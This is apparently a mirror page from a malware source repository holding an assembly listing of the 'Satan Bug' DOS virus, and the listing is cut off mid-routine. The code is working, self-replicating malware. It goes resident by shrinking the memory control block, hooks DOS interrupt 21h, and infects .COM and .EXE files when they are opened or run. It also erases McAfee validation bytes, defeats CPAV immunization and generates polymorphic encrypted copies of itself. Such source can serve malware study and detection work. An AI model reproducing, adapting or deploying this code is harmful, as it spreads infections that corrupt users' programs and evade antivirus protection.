mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
4b9382ddbc
push
1664 lines
41 KiB
NASM
1664 lines
41 KiB
NASM
CSEG SEGMENT
|
|
ASSUME CS:CSEG, ES:CSEG, SS:CSEG
|
|
ORG 100H
|
|
YES EQU 1
|
|
NO EQU 0
|
|
COM EQU 0
|
|
EXE EQU 1
|
|
Signal EQU 0F9H
|
|
Reply EQU 0AC0AH
|
|
|
|
;
|
|
|
|
|
|
Start: CALL $+3
|
|
POP AX
|
|
MOV CL,4H
|
|
SHR AX,CL
|
|
SUB AX,0010H
|
|
MOV CX,CS
|
|
ADD AX,CX
|
|
PUSH AX
|
|
MOV AX,OFFSET Begin
|
|
PUSH AX
|
|
RETF
|
|
JJumpFile:JMP JumpFile
|
|
Begin: PUSH DS
|
|
BeginC: POP WORD PTR CS:[FileDS] ;Save DS
|
|
PUSH CS
|
|
POP DS
|
|
CMP BYTE PTR DS:[File],COM ;Are we in a .COM file?
|
|
JNE NoBytes
|
|
MOV AX,DS:[Bytes] ;Restore first 3 Bytes of program
|
|
MOV WORD PTR ES:[100H],AX
|
|
MOV AX,DS:[Bytes+2H]
|
|
MOV WORD PTR ES:[102H],AX
|
|
NoBytes:PUSH CS
|
|
POP ES
|
|
MOV AH,Signal
|
|
INT 21H ;Check if we're already in memory
|
|
CMP AX,Reply
|
|
JE JJumpFile
|
|
CMP BYTE PTR DS:[CommandCom],YES ;Are we in Command.COM
|
|
JE NoEnv
|
|
MOV ES,DS:[FileDS]
|
|
MOV ES,ES:[002CH]
|
|
XOR DI,DI
|
|
MOV SI,OFFSET Comspec
|
|
MOV CX,OFFSET Comspec@-OFFSET Comspec
|
|
CLD
|
|
REPE CMPSB ;Look for COMSPEC=
|
|
JNE JJumpFile
|
|
XOR AX,AX
|
|
MOV CX,0080
|
|
CLD
|
|
REPNE SCASB
|
|
JNE JJumpFile
|
|
MOV CX,000CH
|
|
SUB DI,CX
|
|
CLD
|
|
REP CMPSB ;COMSPEC must equil COMMAND.COM
|
|
JNE JJumpFile
|
|
NoEnv: PUSH CS
|
|
POP ES
|
|
MOV AX,DS:[FileDS] ;Segment of our current MCB
|
|
DEC AX
|
|
MCBLoop:MOV DS,AX
|
|
CMP BYTE PTR DS:[0H],'Z' ;Last MCB?
|
|
JNE JJumpFile
|
|
MCBEnd: MOV AX,(OFFSET Done-OFFSET Start)*2 ;Reserve enough for encryption
|
|
ADD AX,3072
|
|
MOV CL,4H
|
|
SHR AX,CL
|
|
INC AX
|
|
SUB WORD PTR DS:[0003H],AX ;Subtract it from MCB.size
|
|
XOR BX,BX
|
|
MOV ES,BX
|
|
SHR AX,CL
|
|
SHR CL,1H
|
|
SHR AX,CL
|
|
INC AX
|
|
SUB WORD PTR ES:[413H],AX ;Subtract it from Interrupt 12H
|
|
MOV AX,DS:[0003H]
|
|
MOV BX,DS
|
|
INC BX
|
|
ADD AX,BX
|
|
SUB AX,0010H
|
|
MOV DI,100H
|
|
MOV SI,DI
|
|
MOV ES,AX
|
|
PUSH CS
|
|
POP DS
|
|
MOV CX,OFFSET Vend-OFFSET Start
|
|
CLD
|
|
REP MOVSB ;Copy us to high memory
|
|
PUSH ES
|
|
MOV AX,OFFSET HighCode
|
|
PUSH AX
|
|
RETF ;Jump to high memory
|
|
JumpFile:CMP BYTE PTR CS:[File],COM
|
|
MOV ES,CS:[FileDS] ;Restore Segments
|
|
MOV DS,CS:[FileDS]
|
|
JNE JumpEXE
|
|
MOV AX,100H
|
|
PUSH DS
|
|
PUSH AX
|
|
XOR AX,AX
|
|
XOR BX,BX
|
|
RETF
|
|
JumpEXE:MOV AX,DS
|
|
ADD AX,0010H
|
|
PUSH AX
|
|
ADD AX,CS:[EXECS]
|
|
MOV WORD PTR CS:[JumpDat+3H],AX
|
|
MOV AX,CS:[EXEIP]
|
|
MOV WORD PTR CS:[JumpDat+1H],AX
|
|
POP AX
|
|
ADD AX,CS:[EXESS]
|
|
CLI
|
|
MOV SS,AX
|
|
MOV SP,CS:[EXESP]
|
|
XOR AX,AX
|
|
XOR BX,BX
|
|
STI
|
|
JMP SHORT JumpDat
|
|
JumpDat:DB 0EAH,00H,00H,00H,00H
|
|
|
|
HighCode:PUSH CS
|
|
POP DS
|
|
MOV BYTE PTR DS:[Busy_Flag],No ;initialize Flag
|
|
MOV AX,3521H ;Hook interrupt 21
|
|
INT 21H
|
|
MOV WORD PTR DS:[Vector21],BX ;Save Vector
|
|
MOV WORD PTR DS:[Vector21+2H],ES
|
|
PUSH CS
|
|
POP ES
|
|
MOV DI,OFFSET JumpHandle
|
|
MOV DX,DI
|
|
MOV AL,0EAH ;Make jump to our handle
|
|
CLD
|
|
STOSB
|
|
MOV AX,OFFSET Handle21
|
|
CLD
|
|
STOSW
|
|
MOV AX,CS
|
|
CLD
|
|
STOSW
|
|
MOV AX,2521H ;Point Interrupt 21 to Jump
|
|
INT 21H
|
|
JMP JumpFile ;Return to program
|
|
|
|
|
|
IDText: DB 'Satan Bug virus - Little Loc',0H
|
|
|
|
|
|
File DB ? ;Current File: .COM = 0, .EXE = 1
|
|
CommandCom DB ? ; = YES If in COMMAND.COM
|
|
Bytes DD ? ;Bytes replaced with jump in .COM files
|
|
Comspec DB 'COMSPEC='
|
|
Comspec@:
|
|
Command DB 'COMMAND.COM',0H
|
|
Command@:
|
|
EXESP DW ? ;.EXE SP
|
|
EXESS DW ? ;.EXE SS Displacement
|
|
EXECS DW ? ;.EXE CS Displacement
|
|
EXEIP DW ? ;.EXE IP
|
|
RANDOM DW ? ;Random Number
|
|
LAST DW ? ;Random Number Data
|
|
Immune: DB 22H,19H,35H,93H,59H,57H,54H,80H ;CPAV's Immune I.D.
|
|
Validate: DB 0F1H,0FEH,0C6H,0ABH,0H,0F1H ;Scan's Validation I.D.
|
|
Validate@:
|
|
ImmuneJumpExe: DB 0E9H,8CH,01H ;Write to .EXE's immunized with CPAV
|
|
ImmuneJumpCom: DB 0E9H,75H,01H ;Write to .COM's immunized with CPAV
|
|
|
|
Handle21Pall:POP ES ;POP REGS (They were pushed in the decryption)
|
|
POP DS
|
|
POP BP
|
|
POP SI
|
|
POP DI
|
|
POP DX
|
|
POP CX
|
|
POP BX
|
|
POP AX
|
|
Handle21:CMP BYTE PTR CS:[Busy_Flag],Yes ;If Flag set skip
|
|
JNE Handle21SF
|
|
JMP CS:Vector21
|
|
Handle21SF:MOV BYTE PTR CS:[Busy_Flag],Yes ;Set Flag
|
|
CMP AH,3DH ;Open?
|
|
JE Open
|
|
CMP AH,4BH ;Execute?
|
|
JE Execute
|
|
CMP AH,6CH ;Extended open?
|
|
JE ExtOpen
|
|
CMP AH,Signal ;Signal?
|
|
JNE Jump21
|
|
MOV AX,Reply ;Tell other that we're already here
|
|
MOV BYTE PTR CS:[ReturnFar],YES ;Used later
|
|
JMP JumpEM
|
|
Jump21: MOV BYTE PTR CS:[ReturnFar],NO ;Used Later
|
|
JMP JumpEM
|
|
|
|
Open: MOV WORD PTR CS:[FileSeg],DX
|
|
MOV WORD PTR CS:[FileSeg+2H],DS ;Save SEG:OFF of file
|
|
JMP InfStart
|
|
Execute:CMP AL,03H
|
|
JBE Open
|
|
JMP Jump21
|
|
ExtOpen:MOV WORD PTR CS:[FileSeg],SI ;Save SEG:OFF of file
|
|
MOV WORD PTR CS:[FileSeg+2H],DS
|
|
InfStart:PUSH AX ;Save All Regs
|
|
PUSH BX
|
|
PUSH CX
|
|
PUSH DX
|
|
PUSH DI
|
|
PUSH SI
|
|
PUSH BP
|
|
PUSH DS
|
|
PUSH ES
|
|
CALL Infect ;Infect the file
|
|
MOV BYTE PTR DS:[ReturnFar],NO ;Used Later
|
|
POP ES
|
|
POP DS
|
|
POP BP
|
|
POP SI
|
|
POP DI
|
|
POP DX
|
|
POP CX
|
|
POP BX
|
|
POP AX
|
|
JumpEM: MOV BYTE PTR CS:[Memory],YES ;Tell encryption that we need
|
|
JMP MemBuild ;to be encrypted in memory
|
|
|
|
Infect: CALL Which ;Determine if file is .EXE, .COM
|
|
CMP AL,COM ; or other
|
|
JNE MaybeEXE
|
|
CALL InfCOM ;Infect .COM
|
|
RETN
|
|
MaybeEXE:CMP AL,EXE
|
|
JNE InfectRet
|
|
CALL InfEXE ;Infect .EXE
|
|
InfectRet:RETN
|
|
|
|
JWhichRetNone:JMP WhichRetNone
|
|
|
|
Which: PUSH CS
|
|
POP DS
|
|
MOV WORD PTR DS:[JumpHandle+1H],OFFSET Handle21 ;Point handle at us
|
|
MOV BYTE PTR DS:[Opened],NO ; not decryption
|
|
MOV BYTE PTR DS:[Attribute],NO
|
|
MOV BYTE PTR DS:[Infected],NO
|
|
MOV BYTE PTR DS:[CommandCom],NO
|
|
MOV AX,2F00H ;Get DTA SEG:OFF
|
|
CALL Call21
|
|
MOV WORD PTR DS:[DTA],BX
|
|
MOV WORD PTR DS:[DTA+2H],ES ;Save it
|
|
PUSH CS
|
|
POP ES
|
|
MOV DX,OFFSET NewDTA
|
|
MOV AX,1A00H
|
|
CALL Call21 ;Set to are DTA
|
|
LDS DX,DS:[FileSeg]
|
|
MOV AX,4E00H ;Find the target file
|
|
MOV CX,0027H
|
|
CALL Call21
|
|
PUSHF
|
|
MOV AX,1A00H ;Reset DTA
|
|
LDS DX,CS:[DTA]
|
|
CALL Call21
|
|
PUSH CS
|
|
POP DS
|
|
POPF
|
|
JB JWhichRetNone
|
|
CMP WORD PTR DS:[NewDTA+1CH],0H ;Must be larger then
|
|
JNE WhichNoSize ; 1024 Bytes
|
|
CMP WORD PTR DS:[NewDTA+1AH],1024
|
|
JB JWhichRetNone
|
|
WhichNoSize:CMP BYTE PTR DS:[NewDTA+19H],0C8H ;19xx+100 Years
|
|
JNB JWhichRetNone
|
|
ADD BYTE PTR DS:[NewDTA+19H],0C8H ;ADD 100 Years to date
|
|
TEST BYTE PTR DS:[NewDTA+15H],01H ;Read Only?
|
|
LDS DX,DS:[FileSeg]
|
|
JE NoAttr
|
|
XOR CX,CX ;if yes, set to 0
|
|
MOV AX,4301H
|
|
CALL Call21
|
|
JB WhichRetNone
|
|
MOV BYTE PTR CS:[Attribute],YES ;Remember that we changed it
|
|
NoAttr: MOV AX,3D02H ;Open
|
|
CALL Call21
|
|
JB WhichRetNone
|
|
PUSH CS
|
|
POP DS
|
|
MOV BYTE PTR DS:[Opened],YES ;Remember that we opened it
|
|
MOV BX,AX
|
|
MOV AX,3F00H ;Read first 20H bytes
|
|
MOV CX,0020H
|
|
MOV DX,OFFSET First20
|
|
CALL Call21
|
|
JB WhichRetNone
|
|
CMP AX,CX
|
|
JNE WhichRetNone
|
|
CMP WORD PTR DS:[First20],'ZM' ;Is it an .EXE style program?
|
|
JE WhichRetEXE
|
|
MOV DI,OFFSET NewDTA+1EH ;Offset of found file
|
|
MOV CX,OFFSET Command@-OFFSET Command
|
|
MOV SI,OFFSET Command
|
|
PUSH DI
|
|
PUSH SI
|
|
CLD
|
|
REP CMPSB ;Is it COMMAND.COM?
|
|
POP SI
|
|
POP DI
|
|
JE RetCommand
|
|
MOV CX,14
|
|
XOR AX,AX
|
|
CLD
|
|
REPNE SCASB ;Find end of file
|
|
JNE WhichRetNone
|
|
MOV CX,5H ;Comp last 5 Bytes
|
|
SUB DI,CX
|
|
ADD SI,0007H
|
|
CLD
|
|
REP CMPSB ;Is it an .COM style program?
|
|
JE WhichRetCOM
|
|
WhichRetNone:
|
|
CALL Close
|
|
XOR AX,AX
|
|
DEC AX
|
|
RETN
|
|
RetCommand:MOV BYTE PTR DS:[CommandCom],YES ;Remember that this file is
|
|
WhichRetCOM: ; Command.COM
|
|
MOV AL,COM
|
|
MOV BYTE PTR DS:[File],AL
|
|
RETN
|
|
WhichRetEXE:
|
|
MOV AL,EXE
|
|
MOV BYTE PTR DS:[File],AL
|
|
RETN
|
|
|
|
PositionEnd:
|
|
MOV AX,4202H ;Set File Pointer to end
|
|
XOR CX,CX
|
|
MOV DX,CX
|
|
CALL Call21
|
|
CMP BYTE PTR DS:[File],COM
|
|
JE NoDivide
|
|
PUSH AX ;If .EXE then get Page size and modula data
|
|
PUSH DX
|
|
PUSH CX
|
|
MOV CX,200H
|
|
DIV CX
|
|
INC AX
|
|
CMP WORD PTR DS:[First20+4H],AX ;Must be right in header or abort
|
|
JNE HeaderError
|
|
CMP WORD PTR DS:[First20+2H],DX
|
|
JNE HeaderError
|
|
POP CX
|
|
POP DX
|
|
POP AX
|
|
NoDivide:CALL FindScan ;Delete validation data (Viruscan)
|
|
JB PosEndErr
|
|
MOV CX,DX
|
|
MOV DX,AX
|
|
MOV AX,4200H ;Set file pointer to beginning
|
|
CALL Call21
|
|
TEST AX,000FH
|
|
JE NoAdjust
|
|
AND AX,0FFF0H ;Set to Paragraph
|
|
ADD AX,0010H
|
|
MOV CX,DX
|
|
MOV DX,AX
|
|
MOV AX,4200H
|
|
CALL Call21 ;at end
|
|
NoAdjust:CMP BYTE PTR DS:[File],COM ;Is it a .COM file
|
|
JNE NoSize
|
|
OR DX,DX
|
|
JNE PosEndErr
|
|
CMP AX,65535-(OFFSET Done-OFFSET Start)-2048 ;.COM's must be <
|
|
JA PosEndErr
|
|
NoSize: MOV WORD PTR DS:[OldFileSize],AX ;Save original size (for CPAV)
|
|
MOV WORD PTR DS:[OldFileSize+2H],DX
|
|
MOV BYTE PTR DS:[Memory],NO ;Tell encryption it's for a
|
|
; file
|
|
CALL Build ;Make encrypted copy of us
|
|
MOV AX,4000H ;Write it to the file
|
|
CALL Call21
|
|
JB PosEndErr
|
|
MOV BYTE PTR DS:[Infected],YES ;Remember that this file is Infected
|
|
MOV AX,4201H ;4201 DX=CX=0: Get current File Pointer
|
|
XOR CX,CX
|
|
MOV DX,CX
|
|
CALL Call21
|
|
MOV WORD PTR DS:[NewFileSize],AX ;Remember new file size
|
|
MOV WORD PTR DS:[NewFIleSize+2H],DX ; (for .EXE header)
|
|
XOR AX,AX
|
|
RETN
|
|
HeaderError:POP CX
|
|
POP DX
|
|
POP AX
|
|
PosEndErr:XOR AX,AX
|
|
DEC AX
|
|
RETN
|
|
PositionStart:
|
|
MOV AX,4200H ;AX=4200 CX=DX=0 set pointer to start
|
|
XOR CX,CX
|
|
XOR DX,DX
|
|
CALL Call21
|
|
MOV DX,OFFSET First20
|
|
MOV CX,20H ;Read 20H Bytes
|
|
MOV AX,4000H
|
|
CALL Call21
|
|
JB PosStaErr
|
|
XOR AX,AX
|
|
RETN
|
|
PosStaErr:XOR AX,AX
|
|
DEC AX
|
|
RETN
|
|
|
|
FindScan:PUSH AX
|
|
PUSH DX
|
|
SUB AX,75 ;Validation bytes are in lat 75 Bytes
|
|
MOV CX,DX ; of the program (if they're there)
|
|
MOV DX,AX
|
|
MOV AX,4200H
|
|
CALL Call21 ;Set file position
|
|
MOV DX,OFFSET Encrypt
|
|
MOV CX,75
|
|
MOV AX,3F00H ;Read those last 75 Bytes
|
|
CALL Call21
|
|
CMP AX,CX
|
|
JNE ScanErr
|
|
CALL ScanSearch ;Are validation bytes here?
|
|
OR AX,AX
|
|
JNE FindRet
|
|
POP DX
|
|
POP AX
|
|
SUB AX,75
|
|
ADD AX,DI
|
|
MOV CX,DX
|
|
MOV DX,AX
|
|
MOV AX,4200H ;Set file position to Validation bytes
|
|
CALL Call21
|
|
PUSH AX
|
|
PUSH DX
|
|
MOV AX,4000H ;Overwrite them with Zero
|
|
MOV CX,75
|
|
SUB CX,DI
|
|
MOV DI,OFFSET Decrypt
|
|
MOV DX,DI
|
|
PUSH AX
|
|
PUSH CX
|
|
XOR AX,AX
|
|
CLD
|
|
REP STOSB
|
|
POP CX
|
|
POP AX
|
|
CALL Call21
|
|
JB ScanErr
|
|
FindRet:CLC
|
|
POP DX
|
|
POP AX
|
|
RETN
|
|
ScanErr:STC
|
|
POP DX
|
|
POP AX
|
|
RETN
|
|
|
|
|
|
|
|
ScanSearch:MOV AL,0FFH
|
|
CALL ScanDecrypt ;Decrypt Internal Validation bytes
|
|
MOV SI,OFFSET Validate
|
|
MOV DI,OFFSET Encrypt
|
|
MOV CX,76-(OFFSET Validate@-OFFSET Validate)
|
|
CLD
|
|
LODSB
|
|
SearchCont:REPNE SCASB ;Find first byte
|
|
JNE SearchNeg
|
|
PUSH SI
|
|
PUSH CX
|
|
CLD
|
|
REP CMPSB ;if found then compare rest
|
|
POP CX
|
|
POP SI
|
|
JE SearchYes
|
|
JMP SearchCont
|
|
SearchNeg:MOV AL,1H ;Encrypt Internal Validation Bytes
|
|
CALL ScanDecrypt
|
|
XOR AX,AX
|
|
DEC AX
|
|
RETN
|
|
|
|
SearchYes:SUB DI,OFFSET Encrypt
|
|
SUB DI,CX
|
|
DEC DI ;Get offset from encrypt
|
|
MOV AL,1H
|
|
CALL ScanDecrypt ;Encrypt Internal Validation Bytes
|
|
XOR AX,AX
|
|
RETN
|
|
|
|
ScanDecrypt:MOV SI,OFFSET Validate
|
|
MOV CX,OFFSET Validate@-OFFSET Validate
|
|
ScanLP: ADD BYTE PTR DS:[SI],AL
|
|
INC SI
|
|
LOOP ScanLP
|
|
RETN
|
|
|
|
Close: CMP BYTE PTR DS:[Opened],NO ;Was it opended?
|
|
JE NoClose
|
|
CMP BYTE PTR DS:[Infected],YES ;Was it infected
|
|
JNE NoDate
|
|
MOV AX,5701H ;then reset date
|
|
MOV CX,DS:[NewDTA+16H]
|
|
MOV DX,DS:[NewDTA+18H]
|
|
CALL Call21
|
|
NoDate: MOV AX,3E00H ;then close
|
|
CALL Call21
|
|
NoClose:CMP BYTE PTR DS:[Attribute],NO ;Was the attribute changed?
|
|
JE NoSetAttr
|
|
XOR CX,CX
|
|
MOV CL,DS:[NewDTA+15H]
|
|
TEST CL,1H
|
|
JE NoSetAttr
|
|
MOV AX,4301H ;then reset it
|
|
LDS DX,DS:[FileSeg]
|
|
CALL Call21
|
|
PUSH CS
|
|
POP DS
|
|
NoSetAttr:RETN
|
|
|
|
|
|
|
|
|
|
DisImmune:CMP BYTE PTR DS:[File],EXE ;Is file .EXE
|
|
JE ExeImmune
|
|
MOV SI,OFFSET First20
|
|
MOV DI,OFFSET ImmuneBytes
|
|
MOV CX,000EH
|
|
CLD
|
|
REP MOVSB ;Move header info
|
|
JMP ImmuneComp
|
|
ExeImmune:MOV DX,DS:[First20+8H] ;Size of header
|
|
MOV CL,4H ;Change form paragraphs to bytes
|
|
SHL DX,CL
|
|
MOV AX,4200H ;set to that position
|
|
XOR CX,CX
|
|
CALL Call21
|
|
MOV AX,3F00H ;Read those 10H bytes
|
|
MOV DX,OFFSET ImmuneBytes
|
|
MOV CX,0010H
|
|
CALL Call21
|
|
CMP AX,CX
|
|
JNE DisImmuneNo
|
|
ImmuneComp:MOV DI,OFFSET ImmuneBytes+6H
|
|
MOV SI,OFFSET Immune
|
|
MOV CX,0008H ;Is CPAV Immune here?
|
|
CLD
|
|
REP CMPSB
|
|
JNE DisImmuneYes
|
|
CMP BYTE PTR DS:[File],EXE ;Is file an .EXE
|
|
JNE ImmunePosCom
|
|
JMP ImmunePosExe
|
|
DisImmuneNo:XOR AX,AX
|
|
DEC AX
|
|
RETN
|
|
DisImmuneYes:XOR AX,AX
|
|
RETN
|
|
ImmunePosCom:XOR CX,CX
|
|
MOV DX,DS:[ImmuneBytes+1H] ;Offset to End of immunization code
|
|
SUB DX,02F0H ;Set Offset Start of immunzation code
|
|
MOV AX,4200H
|
|
CALL Call21
|
|
JMP ImmuneWrite
|
|
ImmunePosExe:XOR AX,AX
|
|
MOV DX,DS:[First20+8H] ;End of header
|
|
ADD DX,DS:[First20+16H] ;plus .EXE start offset
|
|
CMP DX,0FFFH
|
|
JB ImmuneNoR
|
|
PUSH DX
|
|
AND DX,0F000H
|
|
MOV AX,DX
|
|
POP DX
|
|
MOV CL,4H
|
|
ROL AX,CL
|
|
ImmuneNoR:MOV CL,4H
|
|
SHL DX,CL
|
|
ADD DX,DS:[First20+14H]
|
|
JNB ImmuneNoI
|
|
INC AX
|
|
ImmuneNoI:ADD DX,0030H
|
|
JNB ImmuneNoI1
|
|
INC AX
|
|
ImmuneNoI1:MOV CX,AX
|
|
MOV AX,4200H
|
|
CALL Call21
|
|
ImmuneWrite:MOV AX,4000H ;Write jump to code
|
|
MOV CX,0003H
|
|
MOV DX,OFFSET ImmuneJumpCom
|
|
CMP BYTE PTR DS:[File],COM
|
|
JE ImmuneW
|
|
MOV DX,OFFSET ImmuneJumpExe
|
|
ImmuneW:CALL Call21
|
|
JB DisImmuneNo
|
|
XOR AX,AX
|
|
RETN
|
|
|
|
InfCOM: CALL DisImmune
|
|
OR AX,AX
|
|
JNE InfCOMClose
|
|
MOV AX,DS:[First20] ;Save bytes from CPAV code
|
|
MOV WORD PTR DS:[Bytes],AX
|
|
MOV AX,DS:[First20+2H]
|
|
MOV WORD PTR DS:[Bytes+2H],AX
|
|
CALL PositionEnd ;To end of file
|
|
OR AX,AX
|
|
JNE InfCOMClose
|
|
MOV DI,OFFSET First20
|
|
MOV AL,0E9H ; 0E9H = JMP xxxx
|
|
CLD
|
|
STOSB
|
|
MOV AX,DS:[OldFileSize]
|
|
SUB AX,0003H ;End of file
|
|
CLD
|
|
STOSW
|
|
CALL PositionStart ;To start
|
|
InfCOMClose:CALL Close
|
|
RETN
|
|
|
|
InfEXE: CALL DisImmune ;Call the anti-CPAV code
|
|
OR AX,AX
|
|
JNE InfEXEClose
|
|
CMP WORD PTR DS:[First20+0CH],-1 ;.EXE must ask for all of memory
|
|
JNE InfEXEClose
|
|
MOV AX,DS:[First20+0EH] ;Get stack seg displacement
|
|
MOV WORD PTR DS:[EXESS],AX ;Save it
|
|
MOV AX,DS:[First20+10H] ;Get Stack Pointer
|
|
MOV WORD PTR DS:[EXESP],AX ;Save it
|
|
MOV AX,DS:[First20+14H] ;Get Instruction pointer
|
|
MOV WORD PTR DS:[EXEIP],AX ;Save it
|
|
MOV AX,DS:[First20+16H] ;Get Code segment displacement
|
|
MOV WORD PTR DS:[EXECS],AX ;Save it
|
|
CALL PositionEnd ;To end
|
|
OR AX,AX
|
|
JNE InfEXEClose
|
|
CALL FixHeader ;Fix .EXE Header
|
|
CALL PositionStart ;To start
|
|
InfEXEClose:CALL Close
|
|
RETN
|
|
|
|
FixHeader:MOV AX,DS:[NewFileSize]
|
|
MOV DX,DS:[NewFileSize+2H]
|
|
MOV CX,200H
|
|
DIV CX
|
|
INC AX
|
|
MOV WORD PTR DS:[First20+2H],DX ;Set size in Header to accomendate us
|
|
MOV WORD PTR DS:[First20+4H],AX
|
|
MOV AX,DS:[OldFileSize]
|
|
MOV DX,DS:[First20+8H]
|
|
MOV CL,4H
|
|
SHL DX,CL
|
|
SUB AX,DX ;Set IP to us
|
|
MOV WORD PTR DS:[AddSeg],0H
|
|
IP_CMP: CMP AX,65535-((OFFSET Done-OFFSET Start)+4096)
|
|
JB NoIPMan
|
|
SUB AX,0010H
|
|
INC WORD PTR DS:[AddSeg]
|
|
JMP SHORT IP_CMP
|
|
NoIPMan:MOV WORD PTR DS:[First20+14H],AX
|
|
MOV AX,DS:[OldFileSize+2H]
|
|
CMP AX,000FH
|
|
JA FixError
|
|
XCHG AL,AH
|
|
SHL AX,CL
|
|
ADD AX,DS:[AddSeg]
|
|
MOV WORD PTR DS:[First20+16H],AX
|
|
MOV WORD PTR DS:[First20+0EH],AX
|
|
MOV WORD PTR DS:[First20+10H],0FFFEH
|
|
XOR AX,AX
|
|
RETN
|
|
FixError:XOR AX,AX
|
|
DEC AX
|
|
RETN
|
|
|
|
Call21: PUSHF
|
|
CALL CS:Vector21
|
|
RETN
|
|
|
|
RND: PUSH CX
|
|
RND1: PUSH AX
|
|
XOR AX,AX
|
|
MOV DS,AX
|
|
POP AX
|
|
ADD AX,DS:[46CH]
|
|
PUSH CS
|
|
POP DS
|
|
ADD AX,DS:[RANDOM]
|
|
ADD CX,AX
|
|
XCHG AL,AH
|
|
TEST AX,CX
|
|
JE RND2
|
|
TEST CH,CL
|
|
JE RND3
|
|
ADD CX,AX
|
|
RND2: XCHG CL,CH
|
|
SUB CX,AX
|
|
SUB WORD PTR DS:[RANDOM],AX
|
|
CMP WORD PTR DS:[LAST],AX
|
|
JNE RNDRT
|
|
TEST CX,AX
|
|
JNE RND3
|
|
SUB AH,CL
|
|
ADD CX,AX
|
|
TEST AL,CL
|
|
JNE RND3
|
|
TEST WORD PTR DS:[RANDOM],AX
|
|
JE RND3
|
|
SUB CX,AX
|
|
RND3: XCHG AL,AH
|
|
SUB CX,AX
|
|
XCHG CL,CH
|
|
JMP RND1
|
|
RNDRT: MOV WORD PTR DS:[LAST],AX
|
|
POP CX
|
|
RET
|
|
RND@:
|
|
|
|
MemBuild:PUSH AX
|
|
PUSH BX
|
|
PUSH CX
|
|
PUSH DX
|
|
PUSH DI
|
|
PUSH SI
|
|
PUSH BP
|
|
PUSH DS
|
|
PUSH ES
|
|
PUSH CS
|
|
POP ES
|
|
PUSH CS
|
|
POP DS
|
|
BUILD: PUSH BX
|
|
CALL ALTTAB
|
|
MOV DI,OFFSET DECRYPT
|
|
AND DI,0FFF0H
|
|
ADD DI,0010H
|
|
MOV WORD PTR DS:[DOFF],DI
|
|
MOV WORD PTR DS:[EOFF],OFFSET ENCRYPT
|
|
CMP BYTE PTR DS:[Memory],YES
|
|
JE CallMH
|
|
CALL HEAD
|
|
JMP SHORT BUILDL
|
|
CallMH: CALL MemHead
|
|
BUILDL: CALL RND
|
|
AND AX,001FH
|
|
JE BUILDL
|
|
MOV WORD PTR DS:[ECNT],AX
|
|
MOV WORD PTR DS:[INST],AX
|
|
BUILDLP:CALL MAKE
|
|
DEC WORD PTR DS:[ECNT]
|
|
JNE BUILDLP
|
|
CMP BYTE PTR DS:[Memory],YES
|
|
JE CallMT
|
|
CALL BTAIL
|
|
JMP SHORT BuildRet
|
|
CallMT: POP AX
|
|
JMP MemTail
|
|
BuildRet:POP BX
|
|
RETN
|
|
BUILD@:
|
|
|
|
MAKE: MOV BX,OFFSET ETAB
|
|
CALL RND
|
|
AND AX,001FH
|
|
SHL AX,1H
|
|
ADD BX,AX
|
|
MOV SI,DS:[BX]
|
|
ADD SI,OFFSET ETAB
|
|
INC SI
|
|
MOV DI,DS:[EOFF] ;DI=OFFSET OF ENCRYPT+N
|
|
MOV AH,DS:[SI-1H]
|
|
MOV CL,4H
|
|
SHR AH,CL ;GET INSTRUCTION SIZE
|
|
XOR CX,CX
|
|
MOV CL,AH
|
|
CALL RND
|
|
TEST AX,1H
|
|
JNE NOSWI
|
|
PUSH CX
|
|
PUSH DI
|
|
PUSH SI
|
|
MOV DI,SI
|
|
ADD DI,CX
|
|
SWLP: MOV AL,DS:[DI]
|
|
XCHG DS:[SI],AL
|
|
CLD
|
|
STOSB
|
|
INC SI
|
|
LOOP SWLP
|
|
POP SI
|
|
POP DI
|
|
POP CX
|
|
NOSWI: MOV DL,DS:[SI-1H]
|
|
TEST DL,00001000B
|
|
JE MOVINT
|
|
MOV BX,OFFSET LODSTO
|
|
MOV AL,DS:[BX]
|
|
CLD
|
|
STOSB
|
|
JMP PUTADD
|
|
MOVINT: CALL RND
|
|
TEST AL,1H
|
|
JNE PUTADD
|
|
PUSH SI
|
|
ADD SI,CX
|
|
DEC SI
|
|
TEST DL,00000100B
|
|
JNE ROTCL
|
|
DEC SI
|
|
TEST DL,00000010B
|
|
JNE ROTCL
|
|
DEC SI
|
|
ROTCL: TEST DL,1H
|
|
JE ROTIT
|
|
DEC SI
|
|
ROTIT: RCR BYTE PTR DS:[SI],1H
|
|
CMC
|
|
RCL BYTE PTR DS:[SI],1H
|
|
ADD SI,CX
|
|
RCR BYTE PTR DS:[SI],1H
|
|
CMC
|
|
RCL BYTE PTR DS:[SI],1H
|
|
POP SI
|
|
PUTADD: TEST DL,00000100B
|
|
JNE NOADD
|
|
PUSH SI
|
|
ADD SI,CX
|
|
DEC SI
|
|
TEST DL,00000010B
|
|
JNE ADBYTE
|
|
CALL RND
|
|
DEC SI
|
|
ADD WORD PTR DS:[SI],AX
|
|
ADD SI,CX
|
|
ADD WORD PTR DS:[SI],AX
|
|
POP SI
|
|
JMP NOADD
|
|
ADBYTE: CALL RND
|
|
ADD BYTE PTR DS:[SI],AL
|
|
ADD SI,CX
|
|
ADD BYTE PTR DS:[SI],AL
|
|
POP SI
|
|
NOADD: PUSH CX
|
|
CLD
|
|
REP MOVSB
|
|
POP CX
|
|
TEST DL,00001000B
|
|
JNE PUTSTO
|
|
CALL PUTINC
|
|
JMP MDEC
|
|
PUTSTO: MOV AL,DS:[BX+1H]
|
|
CLD
|
|
STOSB
|
|
MDEC: MOV WORD PTR DS:[EOFF],DI
|
|
MOV DI,DS:[DOFF]
|
|
MOV BYTE PTR DS:[FillB],YES
|
|
TEST DL,00001000B
|
|
JE DECMOV
|
|
MOV AL,DS:[BX]
|
|
CLD
|
|
STOSB
|
|
CALL Fill
|
|
DECMOV: CLD
|
|
REP MOVSB
|
|
CALL Fill
|
|
TEST DL,00001000B
|
|
JE DECINC
|
|
MOV AL,DS:[BX+1H]
|
|
CLD
|
|
STOSB
|
|
JMP DECRT
|
|
DECINC: CALL PUTINC
|
|
DECRT: CALL Fill
|
|
CMP WORD PTR DS:[ECNT],1H
|
|
JNE SAVEDI
|
|
CMP BYTE PTR DS:[Memory],YES
|
|
JNE NoDecJMP
|
|
CALL Fill
|
|
JMP SHORT SaveDI
|
|
NoDecJMP:MOV AL,0EBH
|
|
CLD
|
|
STOSB
|
|
XOR AX,AX
|
|
MOV BX,DI
|
|
CLD
|
|
STOSB
|
|
MOV AX,DS:[INST]
|
|
SHL AX,1H
|
|
CMP AX,6H
|
|
JBE SaveDI
|
|
